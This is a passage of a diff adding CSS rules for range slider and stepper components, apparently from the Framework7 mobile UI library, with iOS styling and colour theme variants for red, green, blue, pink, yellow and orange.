hidden; +} +.range-bar-active { + position: absolute; + right: 0; + top: 0; + height: 100%; +} +.range-knob-wrap { + z-index: 20; + position: absolute; + top: 50%; + right: 0; +} +.range-knob { + -webkit-box-sizing: border-box; + box-sizing: border-box; + border-radius: 50%; + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + z-index: 1; +} +.range-knob:after { + content: ''; + position: absolute; + left: 50%; + top: 50%; + width: 44px; + height: 44px; + margin-left: -22px; + margin-top: -22px; +} +.range-knob-label { + position: absolute; + left: 50%; + bottom: 100%; + text-align: center; + -webkit-transition-duration: 120ms; + transition-duration: 120ms; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + -webkit-transform: translateY(100%) scale(0); + transform: translateY(100%) scale(0); +} +.range-knob-active-state .range-knob-label { + -webkit-transform: translateY(0%) scale(1); + transform: translateY(0%) scale(1); +} +.ios .range-slider { + height: 28px; +} +.ios .range-bar { + background: #b7b8b7; + border-radius: 2px; + height: 1px; +} +.ios .range-bar-active { + background: #007aff; +} +.ios .range-knob-wrap { + height: 28px; + width: 28px; + margin-top: -14px; + margin-right: -14px; +} +.ios .range-knob { + background: #fff; + -webkit-box-shadow: 0 2px 4px rgba(0, 0, 0, 0.3); + box-shadow: 0 2px 4px rgba(0, 0, 0, 0.3); +} +.ios .range-knob-label { + min-width: 20px; + height: 20px; + line-height: 20px; + background: #fff; + border-radius: 5px; + color: #000; + font-size: 12px; + margin-bottom: 6px; + -webkit-transform: translateX(-50%) translateY(100%) scale(0); + transform: translateX(-50%) translateY(100%) scale(0); +} +.ios .range-knob-active-state .range-knob-label { + -webkit-transform: translateX(-50%) translateY(0%) scale(1); + transform: translateX(-50%) translateY(0%) scale(1); +} +.ios .color-theme-red .range-slider .range-bar-active { + background-color: #ff3b30; +} +.ios .color-theme-green .range-slider .range-bar-active { + background-color: #4cd964; +} +.ios .color-theme-blue .range-slider .range-bar-active { + background-color: #007aff; +} +.ios .color-theme-pink .range-slider .range-bar-active { + background-color: #ff2d55; +} +.ios .color-theme-yellow .range-slider .range-bar-active { + background-color: #ffcc00; +} +.ios .color-theme-orange .range-slider .range-bar-active { + background-color: #ff9500; +} +.ios .color-theme-gray .range-slider .range-bar-active { + background-color: #8e8e93; +} +.ios .color-theme-white .range-slider .range-bar-active { + background-color: #ffffff; +} +.ios .color-theme-black .range-slider .range-bar-active { + background-color: #000000; +} +.ios .range-slider.color-red .range-bar-active { + background-color: #ff3b30; +} +.ios .range-slider.color-green .range-bar-active { + background-color: #4cd964; +} +.ios .range-slider.color-blue .range-bar-active { + background-color: #007aff; +} +.ios .range-slider.color-pink .range-bar-active { + background-color: #ff2d55; +} +.ios .range-slider.color-yellow .range-bar-active { + background-color: #ffcc00; +} +.ios .range-slider.color-orange .range-bar-active { + background-color: #ff9500; +} +.ios .range-slider.color-gray .range-bar-active { + background-color: #8e8e93; +} +.ios .range-slider.color-white .range-bar-active { + background-color: #ffffff; +} +.ios .range-slider.color-black .range-bar-active { + background-color: #000000; +} +/* === Stepper === */ +.stepper { + display: -webkit-inline-box; + display: -webkit-inline-flex; + display: -ms-inline-flexbox; + display: inline-flex; + -webkit-box-align: stretch; + -webkit-align-items: stretch; + -ms-flex-align: stretch; + align-items: stretch; +} +.stepper-button, +.stepper-button-minus, +.stepper-button-plus { + text-align: center; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + cursor: pointer; +} +.stepper-button .icon, +.stepper-button-minus .icon, +.stepper-button-plus .icon { + pointer-events: none; +} +.stepper-value { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; +} +.stepper-input-wrap, +.stepper-value { + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + text-align: center; +} +.stepper-button-plus, +.stepper-button-minus { + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +.stepper-button-plus:after, +.stepper-button-minus:after, +.stepper-button-plus:before, +.stepper-button-minus:before { + content: ''; + position: absolute; + left: 50%; + top: 50%; + -webkit-transform: translate(-50%, -50%); + transform: translate(-50%, -50%); +} +.stepper-button-plus:after, +.stepper-button-minus:after { + width: 15px; + height: 2px; +} +.stepper-button-plus:before { + height: 15px; + width: 2px; +} +.stepper .stepper-input-wrap input, +.stepper .stepper-value { + width: 45px; +} +.ios .stepper { + height: 29px; +} +.ios .stepper-button, +.ios .stepper-button-minus, +.ios .stepper-button-plus { + border: 1px solid #007aff; + color: #007aff; + border-radius: 5px; + line-height: 27px; + height: 29px; + width: 40px; +} +.ios .stepper-button .f7-icons, +.ios .stepper-button-minus .f7-icons, +.ios .stepper-button-plus .f7-icons { + font-size: 22px; +} +.ios .stepper-button:first-child, +.ios .stepper-button-minus:first-child, +.ios .stepper-button-plus:first-child { + border-radius: 0 5px 5px 0; +} +.ios .stepper-button:last-child, +.ios .stepper-button-minus:last-child, +.ios .stepper-button-plus:last-child { + border-radius: 5px 0 0 5px; +} +.ios .stepper-button.active-state, +.ios .stepper-button-minus.active-state, +.ios .stepper-button-plus.active-state { + background: rgba(0, 122, 255, 0.15); +} +.ios .stepper-button + .stepper-button, +.ios .stepper-button-minus + .stepper-button, +.ios .stepper-button-plus + .stepper-button, +.ios .stepper-button + .stepper-button-minus, +.ios .stepper-button-minus + .stepper-button-minus, +.ios .stepper-button-plus + .stepper-button-minus, +.ios .stepper-button + .stepper-button-plus, +.ios .stepper-button-minus + .stepper-button-plus, +.ios .stepper-button-plus + .stepper-button-plus { + border-right: none; +} +.ios .stepper-button-plus:after, +.ios .stepper-button-minus:after, +.ios .stepper-button-plus:before, +.ios .stepper-button-minus:before { + background: #007aff; +} +.ios .stepper-input-wrap, +.ios .stepper-value { + border-top: 1px solid #007aff; + border-bottom: 1px solid #007aff; +} +.ios .stepper .stepper-value { + color: #007aff; + font-size: 17px; +} +.ios .stepper .stepper-input-wrap input { + height: 100%; + text-align: center; + color: #007aff; + font-size: 17px; +} +.ios .stepper-fill .stepper-button, +.ios .stepper-fill-ios .stepper-button, +.ios .stepper-fill .stepper-button-minus, +.ios .stepper-fill-ios .stepper-button-minus, +.ios .stepper-fill .stepper-button-plus, +.ios .stepper-fill-ios .stepper-button-plus { + color: #fff; + background: #007aff; +} +.ios .stepper-fill .stepper-button.active-state, +.ios .stepper-fill-ios .stepper-button.active-state, +.ios .stepper-fill .stepper-button-minus.active-state, +.ios .stepper-fill-ios .stepper-button-minus.active-state, +.ios .stepper-fill .stepper-button-plus.active-state, +.ios .stepper-fill-ios .stepper-button-plus.active-state { + opacity: 0.8; +} +.ios .stepper-fill .stepper-button-plus:before, +.ios .stepper-fill-ios .stepper-button-plus:before, +.ios .stepper-fill .stepper-button-minus:before, +.ios .stepper-fill-ios .stepper-button-minus:before, +.ios .stepper-fill .stepper-button-plus:after, +.ios .stepper-fill-ios .stepper-button-plus:after, +.ios .stepper-fill .stepper-button-minus:after, +.ios .stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper-fill .stepper-button + .stepper-button, +.ios .stepper-fill-ios .stepper-button + .stepper-button, +.ios .stepper-fill .stepper-button-minus + .stepper-button-plus, +.ios .stepper-fill-ios .stepper-button-minus + .stepper-button-plus { + border-right: 1px solid rgba(0, 0, 0, 0.1); +} +.ios .stepper-round .stepper-button:first-child, +.ios .stepper-round-ios .stepper-button:first-child, +.ios .stepper-round .stepper-button-minus:first-child, +.ios .stepper-round-ios .stepper-button-minus:first-child, +.ios .stepper-round .stepper-button-plus:first-child, +.ios .stepper-round-ios .stepper-button-plus:first-child { + border-radius: 0 29px 29px 0; +} +.ios .stepper-round .stepper-button:last-child, +.ios .stepper-round-ios .stepper-button:last-child, +.ios .stepper-round .stepper-button-minus:last-child, +.ios .stepper-round-ios .stepper-button-minus:last-child, +.ios .stepper-round .stepper-button-plus:last-child, +.ios .stepper-round-ios .stepper-button-plus:last-child { + border-radius: 29px 0 0 29px; +} +.ios .stepper-small, +.ios .stepper-small-ios { + height: 26px; +} +.ios .stepper-small .stepper-input-wrap, +.ios .stepper-small-ios .stepper-input-wrap, +.ios .stepper-small .stepper-value, +.ios .stepper-small-ios .stepper-value { + border-top-width: 2px; + border-bottom-width: 2px; +} +.ios .stepper-small .stepper-button, +.ios .stepper-small-ios .stepper-button, +.ios .stepper-small .stepper-button-minus, +.ios .stepper-small-ios .stepper-button-minus, +.ios .stepper-small .stepper-button-plus, +.ios .stepper-small-ios .stepper-button-plus { + height: 26px; + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + line-height: 22px; + border-width: 2px; +} +.ios .stepper-small .stepper-button .f7-icons, +.ios .stepper-small-ios .stepper-button .f7-icons, +.ios .stepper-small .stepper-button-minus .f7-icons, +.ios .stepper-small-ios .stepper-button-minus .f7-icons, +.ios .stepper-small .stepper-button-plus .f7-icons, +.ios .stepper-small-ios .stepper-button-plus .f7-icons { + font-size: 18px; +} +.ios .stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper-small.stepper-fill-ios .stepper-button.active-state, +.ios .stepper-small-ios.stepper-fill-ios .stepper-button.active-state, +.ios .stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper-small.stepper-fill-ios .stepper-button-minus.active-state, +.ios .stepper-small-ios.stepper-fill-ios .stepper-button-minus.active-state, +.ios .stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper-small-ios.stepper-fill .stepper-button-plus.active-state, +.ios .stepper-small.stepper-fill-ios .stepper-button-plus.active-state, +.ios .stepper-small-ios.stepper-fill-ios .stepper-button-plus.active-state { + color: #007aff; + border-color: #007aff; + background-color: transparent; + opacity: 1; +} +.ios .stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper-small.stepper-fill-ios .stepper-button-plus.active-state:before, +.ios .stepper-small-ios.stepper-fill-ios .stepper-button-plus.active-state:before, +.ios .stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper-small.stepper-fill-ios .stepper-button-minus.active-state:before, +.ios .stepper-small-ios.stepper-fill-ios .stepper-button-minus.active-state:before, +.ios .stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper-small.stepper-fill-ios .stepper-button-plus.active-state:after, +.ios .stepper-small-ios.stepper-fill-ios .stepper-button-plus.active-state:after, +.ios .stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper-small.stepper-fill-ios .stepper-button-minus.active-state:after, +.ios .stepper-small-ios.stepper-fill-ios .stepper-button-minus.active-state:after { + background-color: #007aff; +} +.ios .stepper-big, +.ios .stepper-big-ios { + height: 44px; +} +.ios .stepper-big .stepper-button, +.ios .stepper-big-ios .stepper-button, +.ios .stepper-big .stepper-button-minus, +.ios .stepper-big-ios .stepper-button-minus, +.ios .stepper-big .stepper-button-plus, +.ios .stepper-big-ios .stepper-button-plus { + height: 44px; + line-height: 42px; +} +.ios .color-theme-red .stepper .stepper-button, +.ios .color-theme-red .stepper .stepper-button-minus, +.ios .color-theme-red .stepper .stepper-button-plus { + border-color: #ff3b30; + color: #ff3b30; +} +.ios .color-theme-red .stepper .stepper-button.active-state, +.ios .color-theme-red .stepper .stepper-button-minus.active-state, +.ios .color-theme-red .stepper .stepper-button-plus.active-state { + background-color: rgba(255, 59, 48, 0.15); +} +.ios .color-theme-red .stepper .stepper-button-plus:after, +.ios .color-theme-red .stepper .stepper-button-minus:after, +.ios .color-theme-red .stepper .stepper-button-plus:before, +.ios .color-theme-red .stepper .stepper-button-minus:before { + background-color: #ff3b30; +} +.ios .color-theme-red .stepper .stepper-value, +.ios .color-theme-red .stepper .stepper-input-wrap { + border-top-color: #ff3b30; + border-bottom-color: #ff3b30; +} +.ios .color-theme-red .stepper .stepper-value { + color: #ff3b30; +} +.ios .color-theme-red .stepper .stepper-input-wrap input { + color: #ff3b30; +} +.ios .color-theme-red .stepper.stepper-fill .stepper-button, +.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button, +.ios .color-theme-red .stepper.stepper-fill .stepper-button-minus, +.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-minus, +.ios .color-theme-red .stepper.stepper-fill .stepper-button-plus, +.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-plus { + background-color: #ff3b30; +} +.ios .color-theme-red .stepper.stepper-fill .stepper-button-plus:before, +.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-plus:before, +.ios .color-theme-red .stepper.stepper-fill .stepper-button-minus:before, +.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-minus:before, +.ios .color-theme-red .stepper.stepper-fill .stepper-button-plus:after, +.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-plus:after, +.ios .color-theme-red .stepper.stepper-fill .stepper-button-minus:after, +.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button.active-state, +.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ff3b30; + border-color: #ff3b30; + background-color: transparent; +} +.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ff3b30; +} +.ios .color-theme-green .stepper .stepper-button, +.ios .color-theme-green .stepper .stepper-button-minus, +.ios .color-theme-green .stepper .stepper-button-plus { + border-color: #4cd964; + color: #4cd964; +} +.ios .color-theme-green .stepper .stepper-button.active-state, +.ios .color-theme-green .stepper .stepper-button-minus.active-state, +.ios .color-theme-green .stepper .stepper-button-plus.active-state { + background-color: rgba(76, 217, 100, 0.15); +} +.ios .color-theme-green .stepper .stepper-button-plus:after, +.ios .color-theme-green .stepper .stepper-button-minus:after, +.ios .color-theme-green .stepper .stepper-button-plus:before, +.ios .color-theme-green .stepper .stepper-button-minus:before { + background-color: #4cd964; +} +.ios .color-theme-green .stepper .stepper-value, +.ios .color-theme-green .stepper .stepper-input-wrap { + border-top-color: #4cd964; + border-bottom-color: #4cd964; +} +.ios .color-theme-green .stepper .stepper-value { + color: #4cd964; +} +.ios .color-theme-green .stepper .stepper-input-wrap input { + color: #4cd964; +} +.ios .color-theme-green .stepper.stepper-fill .stepper-button, +.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button, +.ios .color-theme-green .stepper.stepper-fill .stepper-button-minus, +.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-minus, +.ios .color-theme-green .stepper.stepper-fill .stepper-button-plus, +.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-plus { + background-color: #4cd964; +} +.ios .color-theme-green .stepper.stepper-fill .stepper-button-plus:before, +.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-plus:before, +.ios .color-theme-green .stepper.stepper-fill .stepper-button-minus:before, +.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-minus:before, +.ios .color-theme-green .stepper.stepper-fill .stepper-button-plus:after, +.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-plus:after, +.ios .color-theme-green .stepper.stepper-fill .stepper-button-minus:after, +.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button.active-state, +.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #4cd964; + border-color: #4cd964; + background-color: transparent; +} +.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #4cd964; +} +.ios .color-theme-blue .stepper .stepper-button, +.ios .color-theme-blue .stepper .stepper-button-minus, +.ios .color-theme-blue .stepper .stepper-button-plus { + border-color: #007aff; + color: #007aff; +} +.ios .color-theme-blue .stepper .stepper-button.active-state, +.ios .color-theme-blue .stepper .stepper-button-minus.active-state, +.ios .color-theme-blue .stepper .stepper-button-plus.active-state { + background-color: rgba(0, 122, 255, 0.15); +} +.ios .color-theme-blue .stepper .stepper-button-plus:after, +.ios .color-theme-blue .stepper .stepper-button-minus:after, +.ios .color-theme-blue .stepper .stepper-button-plus:before, +.ios .color-theme-blue .stepper .stepper-button-minus:before { + background-color: #007aff; +} +.ios .color-theme-blue .stepper .stepper-value, +.ios .color-theme-blue .stepper .stepper-input-wrap { + border-top-color: #007aff; + border-bottom-color: #007aff; +} +.ios .color-theme-blue .stepper .stepper-value { + color: #007aff; +} +.ios .color-theme-blue .stepper .stepper-input-wrap input { + color: #007aff; +} +.ios .color-theme-blue .stepper.stepper-fill .stepper-button, +.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button, +.ios .color-theme-blue .stepper.stepper-fill .stepper-button-minus, +.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-minus, +.ios .color-theme-blue .stepper.stepper-fill .stepper-button-plus, +.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-plus { + background-color: #007aff; +} +.ios .color-theme-blue .stepper.stepper-fill .stepper-button-plus:before, +.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-plus:before, +.ios .color-theme-blue .stepper.stepper-fill .stepper-button-minus:before, +.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-minus:before, +.ios .color-theme-blue .stepper.stepper-fill .stepper-button-plus:after, +.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-plus:after, +.ios .color-theme-blue .stepper.stepper-fill .stepper-button-minus:after, +.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button.active-state, +.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #007aff; + border-color: #007aff; + background-color: transparent; +} +.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #007aff; +} +.ios .color-theme-pink .stepper .stepper-button, +.ios .color-theme-pink .stepper .stepper-button-minus, +.ios .color-theme-pink .stepper .stepper-button-plus { + border-color: #ff2d55; + color: #ff2d55; +} +.ios .color-theme-pink .stepper .stepper-button.active-state, +.ios .color-theme-pink .stepper .stepper-button-minus.active-state, +.ios .color-theme-pink .stepper .stepper-button-plus.active-state { + background-color: rgba(255, 45, 85, 0.15); +} +.ios .color-theme-pink .stepper .stepper-button-plus:after, +.ios .color-theme-pink .stepper .stepper-button-minus:after, +.ios .color-theme-pink .stepper .stepper-button-plus:before, +.ios .color-theme-pink .stepper .stepper-button-minus:before { + background-color: #ff2d55; +} +.ios .color-theme-pink .stepper .stepper-value, +.ios .color-theme-pink .stepper .stepper-input-wrap { + border-top-color: #ff2d55; + border-bottom-color: #ff2d55; +} +.ios .color-theme-pink .stepper .stepper-value { + color: #ff2d55; +} +.ios .color-theme-pink .stepper .stepper-input-wrap input { + color: #ff2d55; +} +.ios .color-theme-pink .stepper.stepper-fill .stepper-button, +.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button, +.ios .color-theme-pink .stepper.stepper-fill .stepper-button-minus, +.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-minus, +.ios .color-theme-pink .stepper.stepper-fill .stepper-button-plus, +.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-plus { + background-color: #ff2d55; +} +.ios .color-theme-pink .stepper.stepper-fill .stepper-button-plus:before, +.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-plus:before, +.ios .color-theme-pink .stepper.stepper-fill .stepper-button-minus:before, +.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-minus:before, +.ios .color-theme-pink .stepper.stepper-fill .stepper-button-plus:after, +.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-plus:after, +.ios .color-theme-pink .stepper.stepper-fill .stepper-button-minus:after, +.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button.active-state, +.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ff2d55; + border-color: #ff2d55; + background-color: transparent; +} +.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ff2d55; +} +.ios .color-theme-yellow .stepper .stepper-button, +.ios .color-theme-yellow .stepper .stepper-button-minus, +.ios .color-theme-yellow .stepper .stepper-button-plus { + border-color: #ffcc00; + color: #ffcc00; +} +.ios .color-theme-yellow .stepper .stepper-button.active-state, +.ios .color-theme-yellow .stepper .stepper-button-minus.active-state, +.ios .color-theme-yellow .stepper .stepper-button-plus.active-state { + background-color: rgba(255, 204, 0, 0.15); +} +.ios .color-theme-yellow .stepper .stepper-button-plus:after, +.ios .color-theme-yellow .stepper .stepper-button-minus:after, +.ios .color-theme-yellow .stepper .stepper-button-plus:before, +.ios .color-theme-yellow .stepper .stepper-button-minus:before { + background-color: #ffcc00; +} +.ios .color-theme-yellow .stepper .stepper-value, +.ios .color-theme-yellow .stepper .stepper-input-wrap { + border-top-color: #ffcc00; + border-bottom-color: #ffcc00; +} +.ios .color-theme-yellow .stepper .stepper-value { + color: #ffcc00; +} +.ios .color-theme-yellow .stepper .stepper-input-wrap input { + color: #ffcc00; +} +.ios .color-theme-yellow .stepper.stepper-fill .stepper-button, +.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button, +.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-minus, +.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-minus, +.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-plus, +.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-plus { + background-color: #ffcc00; +} +.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-plus:before, +.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-plus:before, +.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-minus:before, +.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-minus:before, +.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-plus:after, +.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-plus:after, +.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-minus:after, +.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button.active-state, +.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ffcc00; + border-color: #ffcc00; + background-color: transparent; +} +.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ffcc00; +} +.ios .color-theme-orange .stepper .stepper-button, +.ios .color-theme-orange .stepper .stepper-button-minus, +.ios .color-theme-orange .stepper .stepper-button-plus { + border-color: #ff9500; + color: #ff9500; +} +.ios .color-theme-orange .stepper .stepper-button.active-state, +.ios .color-theme-orange .stepper .stepper-button-minus.active-state, +.ios .color-theme-orange .stepper .stepper-button-plus.active-state { + background-color: rgba(255, 149, 0, 0.15); +} +.ios .color-theme-orange .stepper .stepper-button-plus:after, +.ios .color-theme-orange .stepper .stepper-button-minus:after, +.ios .color-theme-orange .stepper .stepper-button-plus:before, +.ios .color-theme-orange .stepper .stepper-button-minus:before { + background-color: #ff9500; +} +.ios .color-theme-orange .stepper .stepper-value, +.ios .color-theme-orange .stepper .stepper-input-wrap { + border-top-color: #ff9500; + border-bottom-color: #ff9500; +} +.ios .color-theme-orange .stepper .stepper-value { + color: #ff9500; +} +.ios .color-theme-orange .stepper .stepper-input-wrap input { + color: #ff9500; +} +.ios .color-theme-orange .stepper.stepper-fill .stepper-button, +.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button, +.ios .color-theme-orange .stepper.stepper-fill 